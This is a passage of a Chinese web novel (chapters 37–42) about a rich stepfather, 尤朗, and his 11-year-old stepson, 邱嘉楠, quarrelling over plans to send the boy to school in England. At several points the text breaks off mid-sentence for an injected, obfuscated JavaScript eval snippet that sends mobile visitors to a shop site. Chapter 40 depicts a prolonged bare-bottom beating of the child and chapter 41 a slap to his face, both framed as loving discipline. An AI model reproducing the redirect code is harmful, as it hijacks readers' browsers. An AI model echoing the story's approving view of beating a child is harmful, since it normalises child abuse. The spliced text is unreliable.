这次家长会开得比较久，老师提醒家长们，要开始准备孩子升学的事，不管是出国还是在国内上初中，都要开始着手了。 尤朗和老师谈了很久，等到他和邱嘉楠离开学校，校外的豪车基本都开走了。这附近人少，环境也好，跟小公园似的。上车之前，尤朗拉着小孩，问：“楠楠还不能原谅爸爸吗？爸爸都没辙了。” 这还是尤朗第一次正面提这个问题，邱嘉楠心里当然是原谅了爸爸的，但是嘴上不肯说，一把甩开爸爸的手，扭过身子去，不说话。 “楠楠要怎么才能原谅爸爸呢？楠楠说出来，爸爸尽力好不好？” “哼！”邱嘉楠终于没忍住出了声，转头狠狠瞪着尤朗，“你上次打了我的屁股，我也要打你的屁股！”说罢，两手将尚且疑惑不已的尤朗往车盖上一推，真就照着爸爸屁股打了两巴掌。 尤朗又好气又好笑，生怕被人看到，赶紧翻身抓住小孩：“敢打爸爸了？” “哼！”这一声比刚刚更重了，仿佛是在质疑尤朗刚才说的“爸爸尽力”。尤朗拿他一点办法都没有，只得蹲下，问：“真的不能原谅爸爸了？” 邱嘉楠眼珠子转了转，提了个要求：“我要在你办公室打游戏！” 尤朗哭笑不得：“好，大少爷。” 38. 第 38 章 邱嘉楠真在尤朗办公室打起游戏来了。小小的人儿，往皮质的老板椅上一坐，面对着比平时的电脑大上许多的屏幕，一本正经地操作着，活像个少年登基的小皇帝。 至于太上皇，自然是可怜兮兮地抱着笔记本电脑到沙发那去了。茶几矮，太上皇本人又手长脚长的，整个人缩着，盯着小屏幕上的文件，眼睛都要看瞎了。 太上皇被赶下皇位这事没告诉别人，以至于章信敲门进来时还是冲着办公桌的方向喊：“尤董，这是……” 嗯？不对啊，尤董呢？ 邱嘉楠小模小样地瞥了他一眼，继续打游戏，拿腔拿调的：“我不是尤董，我是邱董！” 另一头的尤朗直接笑出声，把章信招了过来：“咱邱董工作繁忙，别吵着他。” 章信没想到尤董能被儿子欺负得这么惨，竟沦落到办公桌都坐不上的地步，连签个文件都得低低地伏在茶几上。这么工作一天，那腰不得废了？ 实际情况是，章信远远高估了尤朗的腰。根本不用一天，才半天，就已经废了。中午时分，尤朗腰酸背痛地去请邱董吃饭，亲自把邱董从椅子上抱下来，生怕邱董走了一步路：“高兴了没有？” 当然高兴，要是天天这么打游戏不知道有多爽。可惜尤董是喜怒不形于色，邱董却是表里不一，心里越高兴，表面越要装得不满意：“还行吧。” 尤朗不知从哪里拿出个东西，细细的从小孩脖子上环了过去，又摆弄几下，在脖子后面扣上了。 邱嘉楠摸了一下，是他丢掉的那枚戒指。 尤朗单膝跪在地上，看着小孩，道：“不可以乱丢东西。” 这事是邱嘉楠理亏，但他也不觉得全是自己的错，反问道：“为什么你可以乱说话，我不可以乱丢东西？” 邱嘉楠看着爸爸，心想我看你怎么回答，反正不管你怎么说都是没理！ 可是尤朗只是轻声道：“爸爸错了。” 邱嘉楠微微抬起眼皮，似乎不敢相信这就是爸爸的回答，他竟然没有反驳，也没有开脱，甚至没有一句冠冕堂皇的话，只是坦诚道，爸爸错了。 眼眶有些酸涩。邱嘉楠有快两个月没哭过了，眼泪积了一大把，眨了几下眼，眼泪立刻盈满眼眶：“我也错了。”说着，泪水应声而落。 尤朗的大拇指给小孩擦了眼泪，道：“是爸爸让楠楠伤心了。” 邱嘉楠忍不住“哇”一声哭了出来，两手抱住爸爸的脖子，哭道：“我也伤爸爸心了。” 尤朗几欲落泪，却只是红着眼眶，顺势将小孩抱起来：“没事了，以后我们都不这样了，爸爸和楠楠谁也不伤心。” 不伤心的太上皇下午重登皇位，把小皇帝抱在怀里睡午觉。小皇帝一觉睡到三点多，醒了也不愿意从爸爸身上下来，就窝在爸爸怀里看爸爸处理工作。 正巧项目经理拿了个企划书进来。嘉木酒店要开一个配套的电影院，当然也可以引进，但尤朗还是倾向于发展自己的子品牌，项目经理最近就在处理这个电影院的事。 尤朗翻了几页，不是很满意：“这样做出来，我们的电影院没有辨识度啊！” “尤董，电影院都一个模式。” “模式当然不会有太大的变化，但我们要在细节上取胜。” 老板说话太笼统，下头的人就得猜，可猜不出来就难受，项目经理硬着头皮问：“尤董，比如说……” 尤朗刚想让他滚回去慢慢想，却被怀里的小孩拉了拉，听见小孩说：“爸爸，我想说话。” “嗯？”尤朗把头低下去一点，邱嘉楠附在爸爸耳朵旁边说话。尤朗边听边在文件上写了几个字，递给了项目经理。 经理一头雾水，接过来一看——爆米花要最好吃。 行，一看就是邱董提的要求。 邱嘉楠跟着爸爸在公司放飞了一段时间，一不注意，给冻感冒了。这回倒是不用住院打针，只是每天喝冲剂。冲剂甜甜的，不算难喝，就是喝完以后就犯困，一点精神都没有。 最近公司在准备年会，邱嘉楠前几天就老是看见有人在拍视频，中午还排节目，可想去了，结果他病了。 尤朗当然不愿意小孩跟着去奔波。对于员工来说，年会是放松的，吃吃喝喝看节目，运气好的话还能抽个奖。可是尤朗是得上台讲话，给员工画饼，必要时候得一桌桌慰问敬酒的呀！小孩要是跟过来，说不准连饭都吃不好。 可是邱嘉楠一定要来，电话里信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581278|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 誓旦旦地保证自己按时喝了冲剂，到年会上也不会给爸爸添麻烦。尤朗没办法，只好让章信下午去接小孩到酒店去。 尤朗包下了一整层酒店开年会。酒店那边很早就帮忙布置好了会场，电梯一出来就是红地毯，考虑到人数众多，还拉起了伸缩隔离带作为路线引导，也可以维持秩序。 尤朗作为老板，虽然并不用第一个进去，但是老板都来了，谁还那么没眼色往前走？还不是全都让老板先走？ 章信没跟着，尤朗走了一段之后才有员工接着走，后面队伍还挺长的。 “爸爸！”尽管周围环境有些嘈杂，尤朗还是一下认出了那个声音，他往后看去，是章信抱着病怏怏的邱嘉楠，隔着好远的队伍。 中间人太多了，让也让不过来，尤朗继续往前走，走到和他们横向隔着隔离带的地方。邱嘉楠迫不及待要和爸爸一起，伸手就要抱：“要爸爸。” “好，爸爸抱。”尤朗伸过手去，从章信怀里把小孩抱了过来。员工们看着老板爱子心切，一个个都恨不得立刻管尤董叫爸爸。 生了病的小孩格外粘人。原本说好爸爸上台去讲话，让他坐在位置上吃餐前甜点的，可是邱嘉楠在章信腿上坐了一会儿，很快就不高兴了，左扭右扭的，非得要爸爸抱。 “楠楠乖，爸爸很快就下来了，我们再吃一个汤圆好不好？” 邱嘉楠拼命摇头，什么都不要，就要爸爸。尤朗远远地看见了，给员工画饼画到一半，突然停下来，直接对着话筒道：“楠楠怎么了？” 众人齐齐望向小孩那一桌。章信顿时觉得自己成了万众瞩目的新娘——旁边的伴娘，抱着小孩就往台上走。可是台边东西杂乱，章信抱着孩子不敢乱走，只好隔着近一米的高台把小孩送上去。 生病了，脚是不能沾地的。尤朗蹲下，尽量向下弯着腰，小心翼翼地把孩子接了过来。邱嘉楠虽然长得小，但到底十一周岁了，重量还是有的。章信一松手，孩子差点就把尤朗给挂倒了。尤朗歪了一下，一手抱着孩子，一手撑着地面，还要小声哄：“没事的，爸爸在呢！” 大家看着尤董单手托着孩子的屁股，拿着话筒继续讲，可心都不在尤董的饼上了，全在幻想给尤董当儿子。 39. 第 39 章 “楠楠，给大家打个招呼。”尤朗画饼结束，转头跟怀里的小孩说。 邱嘉楠本来就有点害羞，现在病了，懒洋洋的不愿意动，哼哼了两声表示不要。尤朗笑笑，拿起话筒道：“咱邱董害羞了。” 邱董的名号算是叫响了，更重要的是，大家都知道，几年以后，这很有可能就是真的。 该走的流程走完，各桌都上了菜。大家开了红酒，每人倒一杯底，热热闹闹地喊着“干杯”，邱嘉楠见了，很是心动，拉着爸爸的袖子：“爸爸，我也要。” “不行，小朋友不能喝酒。” “要！”邱嘉楠不依不饶地撒娇，尤朗拿他一点办法也没有。还是章信机智，拿了一瓶可乐来，给他倒了一点：“感冒不要喝太多，就喝一点。” 虽然知道是可乐，但是一样的杯子，装着颜色差不多的液体，邱嘉楠也挺高兴，一直跟别人干杯来干杯去的，比刚才有精神多了。 尤朗现在很把小孩的事放心上了，上回家长会听老师说了升学的事，就查了英国十几个学校，还发了邮件过去，开春的时候收到了十几份相关资料。他一个个学校对比过去，钱不是问题，他希望小孩接受更好的教育。 这天公司来了个老外谈合作，是个英国人，尤朗也顺便问了下那些学校的情况。两个人相谈甚欢，到最后俩人都心知肚明，虽然没签合同，但这单生意应该就是这样了。 邱嘉楠背着书包到公司的时候听章信说尤朗在小会议室谈事情，便在会议室外头坐着等。会议室的门没关死，邱嘉楠能听见里头俩人说英语，叽里呱啦的，他听了几句，好多听不懂的长长的词，过了会便放弃了。 等了小半个小时，邱嘉楠才看到老外出来，爸爸跟在后头送。那俩人看着邱嘉楠又笑说了几句，邱嘉楠听懂了，老外说他很可爱，爸爸说这是我儿子。 送走老外，尤朗就带着邱嘉楠去吃饭。今天吃海鲜自助，尤朗亲自给小孩拆螃蟹剥虾，把肉一点点喂到小孩嘴边。邱嘉楠心满意足地坐在软软的单人沙发上，问：“爸爸，你今天和那个人说什么了？” 尤朗拿湿毛巾擦了手，吃了点甜点，道：“谈合作，爸爸要从他那里要一批材料，邱董有什么意见？” “邱董没有意见，但是他说我很可爱，我听见了。” 尤朗心想你这显摆，生怕别人不知道你可爱是吧？ “爸爸顺便跟他打听了下英国的学校，上次老师说要开始准备升学的事了，爸爸挑了几个学校，有空给你看看。” 邱嘉楠歪着头：“我要去英国吗？” 尤朗点点头：“爸爸觉得那几个学校合适一点。” 环岛奇森的学生和公立学校的学生不同，对升学没什么紧迫感，甚至连认识都很少。邱嘉楠这么一听，感觉不太对劲，但又说不出个一二三来，只好作罢。 但邱嘉楠也没把这事抛到脑后，第二天就找颜丹琳问了：“你以后去哪里上学？” “三中吧。”颜丹琳道。 邱嘉楠很奇怪，问：“你不去英国吗？” “我为什么要去英国啊？”颜丹琳想想，又问，“你是不是要出国啊？” 邱嘉楠点点头。 “我妈妈说了，我现在太小了，一个人出国没有人照顾我，要等我长大一点，或者等我妈妈退休，她和我一起去。”颜丹琳从小就知道自己以后要走的路，估计在国内读完高中或者大学，然后再出国深造，以后大概率不会回来了。 邱嘉楠听着听着眉头就皱了起来：“你是说，现在出国就是一个人去？可是，你妈妈不去，你爸爸可以去啊！” “爸爸要做生意，更不可能去了！” 爸爸要做生意，更不可能去了。邱嘉楠知道颜丹琳是在说她爸爸，可是好像用来说尤朗，也没什么问题。 “那大家都不出国了？” “不啊，我听班长说她就要去美国的，但是她应该是去她小姨那里吧。” 邱嘉楠顿时有些失落，又有点生气，仿佛自己被尤朗欺骗了一般。不行，今晚就要回去和爸爸问清楚！ 当晚，尤朗刚好有空，拿了厚厚一沓资料来给小孩看。这些资料，有些是他在网上找的，有些是英国的学校邮寄过来的，都是介绍学校的，校园风景、课程设置、校园活动等等，五花八门。 邱嘉楠的心不在看学校上，随便翻了翻，就切入了正题：“爸爸，你会跟我一起去吗？” 尤朗完全没想到小孩所担心的事情，只是笑话他：“你去上学，爸爸去干什么？” 邱嘉楠的心一下跌落谷底，空荡荡的，连表情都有些僵硬。他想起颜丹琳的话，问：“那谁照顾我啊？” “你放心，等学校确定了，爸爸都会给你安排好的，房子、保姆都会有的，日常生活你不用担心。” 邱嘉楠瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“邱嘉楠！”尤朗低喝一声，“爸爸是这样的人吗？爸爸这两年怎么对你你不知道吗？有什么话你好好说，别动不动就发脾气！你说我送你出国是要丢掉你，你自己去问你的同学有多少人是要出国的。你们这学校本来就是培养留学生的，就算他们现在不出国，以后也肯定要出。爸爸是在国内国外都上过学的人，出国是要辛苦一点，但是你接受的教育和国内的根本不在一个水平上，爸爸希望你去看看外面的世界，体验更好的校园生活，这有什么不好？你说不想和爸爸分开，爸爸也可以承诺你，一个月，甚至半个月去看你一次，陪你过周末。只要你放假，可以马上回来。等你适应了那边的生活，你根本不会注意到你和爸爸分开了多久。” 说得有条有理，邱嘉楠根本没法反驳，可是他就是一天都不想和爸爸分开。 俩人正沉默着，尤朗的手机突然亮了，是章信的来电。尤朗强忍着气，接通电话，也不想拿起来，直接按了免提。 “尤董，有邱蕊的消息了！” 40. 第 40 章 父子俩不约而同变了脸。尤朗当机立断，掩耳盗铃一般关了免提，拿起手机走到外面去了。 其实，除了邱蕊刚离开的那几个月，尤朗并未如何费心找过她。一来感情确实不深，刚开始到处打听她的消息更多是因为生气和不解。二来，他很快将注意力转移到了邱嘉楠身上，也就无暇顾及邱蕊了。 可是，就算不刻意打听，偶然听到一些可能有关的人事时，还是会留意一下，没想到，他竟然还能得到邱蕊的消息。 章信说的是邱蕊在给一个高官的儿子当二奶，他们一开始找不到人，也是因为没人敢往那边问消息，就算问了，也不可能问得到。 尤朗嗤笑一声，显然很看不起邱蕊的所作所为，放着正牌阔太太不当，丢了儿子去给人家当二奶：“给高官当二奶就算了，给高官的儿子当二奶算什么本事？” “尤董，那人前两年注册了一家公司，借着家里的关系，顺风顺水，估计是要跟我们撞上了。” “什么意思？” “正在开发的新区，您之前看上的那块地，他们也看上了。” 尤朗脸色倏然一变。这几年N市正准备开发新区，大概是预感到将来城市人口会越来越多，而老城区的设计大多路窄楼旧，很难适应急速扩张的城市发展，因而在N市东南边圈了一大块地，喊着“再建一个N市”的口号，招商引资，把人分流到新区去。 为了响应号召，不少学校、医院在新区建了分校、分院，大型的国企也将总部搬了过去，一时之间，修路的、建楼的、装修的，天天在那块荒地上“乒乒乓乓”地响。 新区对房地产公司是很大的诱惑。整个区域都是地，学校、医院、商场都给配上，公交、地铁都通上，随便划一块都是好地方，再加上政府有意招商，新区拿地的价格比老城区要低一些，去年开始，就有不少公司去看地了，一个个的都在做方案，打听消息，等着招标。 前段时间尤朗也过去看了下，别出心裁地避开了学校和医院附近，看中了一块不大不小的地，背靠一个正在筹建的公园，别的优势没有，胜在清净。他和管理层提过这个事，打算做成那种小户型公寓，目标客户是城市中的单身男女和丁克夫妻。随着消费的升级和发展节奏的加快，尤朗相信，传统的家庭格局必然面临解体，大户型的房子不一定是刚需，小户型的市场占有率必然会上升。 可是没想到，就这么一块不起眼的地，居然也能和别人撞上。撞就撞吧，还居然跟邱蕊扯上关系了。 尤朗不慌张，道：“不用紧张，我们做我们的，邱蕊一个二奶，未必能插手人家的生意，就算能插手，对我们威胁也不大，放心。” 关于邱蕊的事，尤朗早有准备。邱蕊离家在先，还抛弃亲生儿子，就算回来离婚，也不可能拿到一半财产，要是妄想通过夫妻关系来削弱尤朗，那就想错了。 但章信还提醒了尤朗一层：“尤董，别的不怕，就怕，万一她要带楠楠走……” 尤朗沉默了一会，道：“她带不走的。” 尤朗有这个信心，却不知屋里的小孩思绪九转十八弯，先是以为肯定像胡宇说的那样，爸爸想起了自己是谁的小孩，开始讨厌他了，紧接着就让章信哥哥去打听邱蕊的消息，一边用去英国上学来当幌子，一边准备着把自己丢给妈妈。反正，如果最后找不到邱蕊，自己也是要被丢到国外去的。 还跑到外面去接电话，何必呢？难道他会蠢到不知道这些大人们在想什么吗？ 邱嘉楠越想越难受，等到爸爸走进屋里时已是眼眶通红，气得说不出话来了。 尤朗怕受情绪影响，不欲多说，只道：“先上去睡觉吧，明天再说。” 可是邱嘉楠早认定了是爸爸在隐瞒实情，现在不过是在拖延时间而已。他瞪着爸爸，不管不顾地嚷起来：“不用再说了，你不就是想让我走吗？我走就是了！你找到了妈妈不是吗？我跟她走就好了，以后再也不烦你了！也不用你送我去英国，不用花你的钱了！” “邱嘉楠你胡说八道些什么？！”尤朗本来就担心，如果邱蕊真的要回来带楠楠走，他要如何应对，毕竟人家是亲母子，他不过是个后爸，要真想留下楠楠还是有难度的，现在小孩直接把话说出来，简直像是不知何时会落下的铡刀突然出现一般。尤朗情绪一下就上来了，“这两件事有关系吗？是，我是有邱蕊的消息了，但仅限于知道有消息，我也没有见到她，不知道她要干什么，如果她要来带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581280|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你走，我会尊重你的意愿。但是在升学这件事上，我敢对天发誓，敢用我这辈子作赌注，除了让你接受更好的教育以外，我没有别的任何意图！” 这是多真的话，要是平时听见，邱嘉楠肯定感动得不得了，但是现在正在气头上，尤朗说得越真，他听着就越假，气道：“好听话谁不会说？反正把我弄走了，你就什么都不用管了！出就出，什么国我也不管了，你想让我走，我走就是了！” 邱嘉楠这每一句话都踩在尤朗雷点上。尤朗被他气得七窍生烟，上前几步，往茶几上一丢手机，抓住小孩，“啪啪啪啪”地给了他几巴掌。 “你不许打我！”邱嘉楠挣扎着，“你都想丢我走了，凭什么还打我？！” “凭什么打你？凭我是你爸爸！”尤朗第一回理直气壮地用爸爸这个身份教训他，实在是被气得不行了，干脆把他裤子扒了，对着尚且白皙的两团肉“噼里啪啦”地落下巴掌。 每一巴掌都脆生生的，“啪啪啪”地施加着疼痛。邱嘉楠拼命地要扭开身子，可是尤朗牢牢地抓着自己的手臂，他最多只能扭动，压根逃脱不开，只能任由巴掌不断地落在屁股上。 “疼，疼！呜呜呜……”邱嘉楠吃了二三十巴掌，便感觉到身后火烧一般的疼痛，方才的硬气早就丢到了九天云外，只一味喊疼了。 尤朗不打算轻易放过他，臀部一片绯红，但巴掌还在下落：“你现在知道疼了？每回都是，挨打就疼，不挨打的时候都干什么去了？！喜欢胡说八道，喜欢闹脾气，我让你说个够，闹个够！” 尤朗的手心拍打得发麻，但是心中的怒气还没有发泄万分之一，于是依旧接连不断地徒手教训小孩。 “呜呜呜……”邱嘉楠很快落了泪，本来心里就委屈，这么突然地挨打，疼痛一来，身体情绪都不好受，根本忍不住不哭。 尤朗没数打了多少，只感觉到自己手臂都酸软了，一看那小屁股，早就深红不已，臀峰处颜色格外重些，快接近紫了。知道小孩伤得不轻，尤朗手一松，放开了孩子。 邱嘉楠哭着屁股跌坐在地上，可怜兮兮地流眼泪，却还不知道服软，嘴里喊着些“我讨厌你”的话。尤朗一肚子气，也不管他，径自上楼去了。 41. 第 41 章 邱嘉楠无奈地接受了自己即将离开的事实，但仍是要跟尤朗闹脾气，总之一句话，他不想去英国，也不想跟妈妈走，但如果尤朗一定要这样安排，他也没办法。 尤朗在这件事上也是铁了心。别的事情他都可以让步，这件事上绝对不能。以他的经验和他对国内国外学校的了解，小孩就算现在不愿意，可将来一定会知道爸爸的苦心。 最重要的是，小孩的情绪可以慢慢往回哄，但要是教育耽搁了，那这一辈子就难说了。 因而，这回就算邱嘉楠和他闹脾气，不同他说话，他也没有像上次一样去哄。 公司上上下下的人都感受到了，尤董最近心情很差，千万不要往枪口上撞。 先撞枪口上的是学校老师。一个电话打过来，说邱嘉楠在学校里晕倒了。 小孩的贫血平时没什么，但说不准什么时候他就会头晕。今天在探索实践课上，小孩走在林子里，先是说有点难受，同学问他是不是太累了，毕竟他们走了好久，还跟老师说邱嘉楠脸好白。老师问他怎么了，他说胸闷，有点头晕，可是又不愿意回去。大家都在外面上课，他不想一个人在教室里坐着。 于是老师就拉着他走，没走两步，小孩突然往后一仰，晕了过去。 老毛病了，掐人中醒来，灌一杯葡萄糖水，吊上营养液，连老师都熟悉流程了。 小孩躺在学校附近的社区医院病床上，感觉没那么天旋地转了。过了一会儿，就看见尤朗出现在病房门口。 “楠楠，现在怎么样？还难不难受？晕不晕？”尤朗是真的担心小孩，电话一挂，什么工作都不管了，开车直奔医院。 可是邱嘉楠没有理会他的意思，微微侧过身去了。要不是还打着点滴，他肯定会动手把尤朗推出去。 尤朗有心借这个机会和小孩缓和这段时间的情绪，摸摸小孩的脸，温声道：“小哑巴又不说话了？不是早就说过要每天都叫人？” 这话说得刻意，上个学期闹得那么厉害，一两个月没叫过人也没见尤朗拿这个说事，现在倒提起来了。尤朗不是不知道这法子蹩脚，但他真是想不出办法了。 可是邱嘉楠也不知是天生就气性大还是这两年被尤朗宠得无法无天，根本不怕他了，听他这么一说，轻轻瞥他一眼，僵硬地吐了两个字：“尤董。” 啧，怎么这么能气人呢？要不是看小孩还打着点滴，一定要把他揪起来打一顿。 邱嘉楠似乎也知道自己气人，说完以后就闭上眼睛假装要睡觉了。尤朗无可奈何地摇摇头，最后讨好一般给他盖了点被子。 章信知道这父子俩的事，纠结了很久才跟尤朗提：“尤董，按理说，我没有立场插手您和楠楠的事。只是，楠楠身体这么差，您真的放心他一个人在国外吗？” 尤朗也是今天见了小孩才想到这个，就算他可以给小孩请保姆请佣人请私人医生，但所有人都只是来工作，根本不会有人全心全意地照顾小孩。万一，万一小孩真的在外面出了什么事，他都不一定能立刻知道。 可是，难道真要把小孩留在国内吗？他好不甘心！ 尤朗再见到小孩是第二天的晚上。那天下午他去工地看了下施工进度，少不得又要跟施工方说点客套话，聊聊项目的情况，顺便在外面吃了晚饭。回到家时已经快八点了，邱嘉楠正遛狗回来，几乎比人还大的阿拉斯加见到尤朗，兴奋地“汪”了一声，但是感觉到气氛不对，后面又低低地“汪”了两声，带着些哀求，听着像呜咽。 尤朗现在每次面对小孩都充满了无奈。小孩可以和他闹脾气，他却不能和小孩闹。见小孩牵狗站在那儿，尤朗往前走了两步，问：“今天没事了吧？” 邱嘉楠摇摇头，没有说话。 “楠楠，我们谈谈好吗？有什么问题我们都可以解决。” 邱嘉楠抬起眼皮，直勾勾地盯着他，终于开了口：“没有什么要谈的，我已经答应要去英国了，如果你想把我送回我妈妈那里去也可以，什么都可以。” 尤朗心力交瘁，疲惫道：“不是这样的，楠楠，这件事和邱蕊没有任何关系，我很早就帮你找了学校，那时候我根本不知道邱蕊的消息，你不要把这两件事混为一谈！” “我不知道你们大人的事，我只知道，我亲生爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581281|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸丢下了我，我亲生妈妈也丢下了我，你也要丢下我，”邱嘉楠眼眶通红，似乎要将这段时间的压抑全都发泄出来一般，“你们都不要我，我只是个没人要的孤儿！我根本就不应该出生，不应该活在这个世界上！” “啪！” 响亮的耳光掐灭了所有的声音。邱嘉楠被打得趔趄一下，眼前直冒金星。他第一回挨耳光，不知道竟如此厉害，好久都没缓过劲来。 尤朗也好久都没缓过来。他一直觉得耳光的侮辱性太强了，没对小孩用过，可是邱嘉楠这个话实在是太气人了，以至于他打了小孩都没想去哄他，只是生气，失望。 “谁教你讲这种话？”尤朗咬牙切齿道，“这么久你就只学会了这样轻贱自己是吗？！” 邱嘉楠有点难受，脸烧得火辣辣的，心里也宛如刀割。他知道尤朗对他好，好得不得了，人家亲生父子都不一定这么好，但是他又让尤朗伤心了。 知错的小孩不愿意认错，低着头，连缩在一旁的山田心也不管了，丢下遛狗绳，“蹬蹬蹬”跑上了楼。 尤朗不是没打过小孩，打得重的也不少，但是从没有哪次打完小孩以后睡不着。他想也许是小孩的话真的硌着他了，也许是那个耳光太重了，大半夜了，那声“啪”还在他脑子里嗡嗡地响。 反正睡不着，尤朗索性翻身起床，走出了卧室。走廊灯是彻夜开着的，昏黄颜色不算晃眼，尤朗轻轻地走到孩子卧室前，打开了门。 也不是头一回在孩子睡着以后进来了，这回却跟做贼似的。小孩屋里黑，他进来以后没把门关死，留着一道门缝照亮。 尤朗悄无声息地走到孩子床边坐下，借着外头漏进来的一点光线，依稀看见小孩侧身睡着，睡得很熟，露着上面的正是晚上挨过耳光的左脸。 尤朗想，当时太气了，没收着力，把孩子打疼了。他伸出手，轻轻碰碰小孩的脸，想给他摸摸的，又怕把小孩弄醒。 就那么坐了一会，一点声音都没有，尤朗又起身出去了，轻轻地带上了门。 恢复了黑暗的房间里，邱嘉楠慢慢睁开眼，眼泪迅速从眼角落了下去。 42. 第 42 章 第二天一早，尤朗一到办公室就把章信叫了进来：“我要N市所有中学的资料。” 章信先是一愣，随后立刻反应过来这是尤董要改主意了，飞快地应了声是就出去了。 N市学校太多了，章信不可能把一堆乱七八糟的资料给尤董，自己先仔细看了一遍，又到处问人，最后挑了几所比较好的学校，交差的时候有模有样的：“尤董，这是N市所有的中学，公立私立，将近一百所。我稍微看了下，初中比较好的是这几个，三中、八中、溪宁中学、N大附中。如果把高中算上，几乎所有N市人都会选三中。” 尤朗接过这厚厚一堆资料，想起章信就是N市人，问：“那你呢？你也是三中的？” “呃……尤董，我是十四中的，我考不上三中。”章信如实道。 尤朗颇为同情地看着他，直言：“没关系，楠楠考得上。” 章信差点吐血。 但问题是，现在上初中已经不用考了，几年前就开始分区上学，一开始还会有些家长走关系或花钱把自己的小孩送到好的初中里，但是这几年这条路基本走不通了。 尤朗花了半个月时间，通过各种关系，分别约了三中的领导和老师、教育局的领导、清河区政府分管学区的领导见面，又是请吃饭又是送礼物，最后都只有一句话，他们没法保证邱嘉楠能上三中。 三中坐落在清河大道上，清河大道是贯穿N市的主干道，这条路上随便哪个单位都不是尤朗撬得动的。说白了，三中就是个官二代学校。 怪不得好，能不好么？！ 前两年，尤朗把现在的三中教师宿舍区拍了下来，等明年夏天这些老师们都搬出去，他就可以拆了这里重建。要是楠楠上学时间能拖到这个小区预售期之后，随便挑间房给楠楠落户，上学问题就解决了，可问题是，楠楠明年夏天就要小学毕业了，根本等不及。 尤朗得到的消息，最晚今年底，三中就会确定初一新生名单。 唯一的办法，就是火速买一套房，然后把楠楠的户口迁过来。可问题是，这附近大多数是单位宿舍，基本不能卖，他想买也没地方去。 尤朗又发动了各种关系，到处问人好几天，最后是在省政府里工作的一个熟人告诉他，这附近有一个单位小区，房子是可以出售的，但是已经非常老旧，再过十年政府就要回收。也就是说，现在砸钱买房，跟打水漂似的。 “这个小区里的小孩一定可以上三中，对吗？” “对，但是房价肯定很高，有这个钱，不如在N大附中上初中，高中再考到三中来。” 尤朗现在正上头呢，管它钱不钱的，立刻到那个小区去打听消息了。那时候网络还没有这么发达，也不会什么都放到网上，尤其是那个小区里全是老头老太太，基本只能当面交流。 不过这种小区好就好在谁家有个什么事，大家都知道。尤朗很快问到一家准备出售房子的，是一对老夫妻，儿女都在国外，他们正要卖了房子到国外去。 三中附近的房价是全N市最高的，南方嘉木的住宅子项目才卖一万一平，这个破小区一万二，尤朗含泪签字，花最高的价钱，买最破的房子。 买完房子也还没完，还得落户。尤朗为着这事，连着一个多月没回家，公司的事也没管。底下的人要签字都只能找其他领导，都以为尤董凭空消失了。 至于家里那个小孩，那想得更多了。自从那晚挨了一耳光之后，他就没见过尤朗。刚开始一两天还赌气，心想不回来就不回来，反正没多久他就要走了，大不了以后都不见了。 可是一个星期过去，邱嘉楠就心慌起来，疑虑着爸爸是不是出什么事了，后来又安慰自己，应该只是工作太忙了，反正爸爸忙起来就是见不到人的，如果真的出了事，章信哥哥也会告诉自己的。 半个月过去，邱嘉楠什么气都消得干干净净，每天一回家，唯一的愿望就是见到爸爸。他想，只要见到爸爸，他一定认错道歉，爸爸要打要骂都可以，他一定不跟爸爸闹脾气了。 一个月过去，尤朗仍然没有出现。邱嘉楠灰心丧气，猜想着去英国以后的日子是不是也这样，放了学，回到冷冰冰的屋子里，什么都有，就是没有想见的人。 时间悄然流逝，邱嘉楠脱下春装，换上了夏装，就连卧室里的被子阿姨也给他换上了干净的夏季空调被。邱嘉楠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581282|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 